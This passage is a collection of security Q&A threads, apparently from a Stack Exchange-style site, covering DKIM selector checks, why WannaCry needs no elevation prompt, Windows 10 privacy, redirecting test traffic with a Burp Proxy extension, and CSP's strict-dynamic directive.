One can check if some commonly used selectors can be found in DNS. But a successful check does not mean that any of these selector actually gets used for signing nor does it mean that the messages gets signed at all. And, no typical selector found does not mean that DKIM is not implemented.


Why doesn't WannaCry ask to "make changes to this computer" when you run the exe? When you click on WannaCry, why doesn't it ask "do you want the following program to make changes to your computer?" I've watched videos of people running wannaCry, and it doesn't. I've also watched videos of people running meme virus, and it does ask If you allow the program to make changes.

I don't exactly know what WannaCry does, but it wouldn't need permissions to change your personal files, only to change system files. You don't have to grant permission everytime you change a file with word. Its similar for WannaCry.


From an infosec expert perspective, how secure is using Windows 10 as a daily os? I have a Windows 10 pro license and i wanted to use Windows 10. But seeing how it treats the user's privacy and all, I am having second thoughts. I've read a lot about how Windows 10 is a disaster and all, but i want to hear it from some pros with experience in these kinds of stuff. So, as a person who's concerned with privacy, what are things we should watch out for, if we wanted to use Windows 10 ? Or any version of Windows for that matter?

Right now i use Kali 2.0 for home/research and Fedora 22 for work.

No

If you are fine using Fedora, keep with it. Really, some people would find a big change changing to Linux, but as you are already enjoying it, and assuming you don't have any hard dependency on a specific Windows-only application… I wouldn't look back.


How to intercept and replace request URL through Burp Proxy? I've got a mobile app to test, and the url where requests from mobile app are sent is mapi.example.com, but the company told me that it would be great if I could send all requests to mapitest.example.com. The application response and requests are same for both urls, but the first one is in use and they would really like for me to test on the second url because of possible problems.

How can I set the intercepting proxy to change mapi.example.com to mapitest.example.com?

There is a sample extension to do this. Here is the description:

This extension demonstrates how to redirect outgoing HTTP requests from one host to another. This task might arise, for example, if you have mapped out an application which then moves to a different staging URL. By simply redirecting traffic to the new hostname, you can continue to drive your testing from the original site map.
The extension works as follows:

It registers itself as an HTTP listener.
For outgoing request messages, it retrieves the HTTP service for the request.
If the HTTP service host matches the "from" host, it uses a helper method to build a new HTTP service using the "to" host, and other details unchanged.
It updates the HTTP request with the new HTTP service.

Note: The sample code uses "host1.example.org" and "host2.example.org" as the "from" and "to" hostnames. You should edit the code to use your own hostnames before using it.


Content Security Policy (CSP) alternatives Are there any off the shelf alternatives that come close to achieving the same results as Content Security Policy (CSP)? I understand the importance of CSP but it soon becomes unmanageable with inline script hashes and the inability to allow unsafe-inline and unsafe-eval per third-party domain. Also, managing the CSP would involve a developer with access to code and cannot be offloaded easily to non-developers (however, wrong this approach may seem, it seems to be what most companies prefer).

The CSP attribute strict-dynamic was introduced to solve the problem of CSP becoming essentially unmanageable.

What does strict-dynamic do?

The idea of strict-dynamic is the following: Generate one piece of JavaScript that you trust, and use this scrip to load all other scripts. I like giving it a fancy name such as OneScriptToLoadThemAll.js, but for the purpose of brevity, I'll refer to it as the "root script", as you can imagine the trust propagated by these scripts like a tree.

What does the root script do?

The root script's goal is to load every subsequently used script. This script can also be used to add event listeners (e.g. onclick, etc.) to objects, and these would be trusted as well?

What can I do if I really hate CSP?

You can choose not to use it. It's not considered best practice though. If your code relies heavily on adding inline code originating from countless places, then you should refactor your code instead.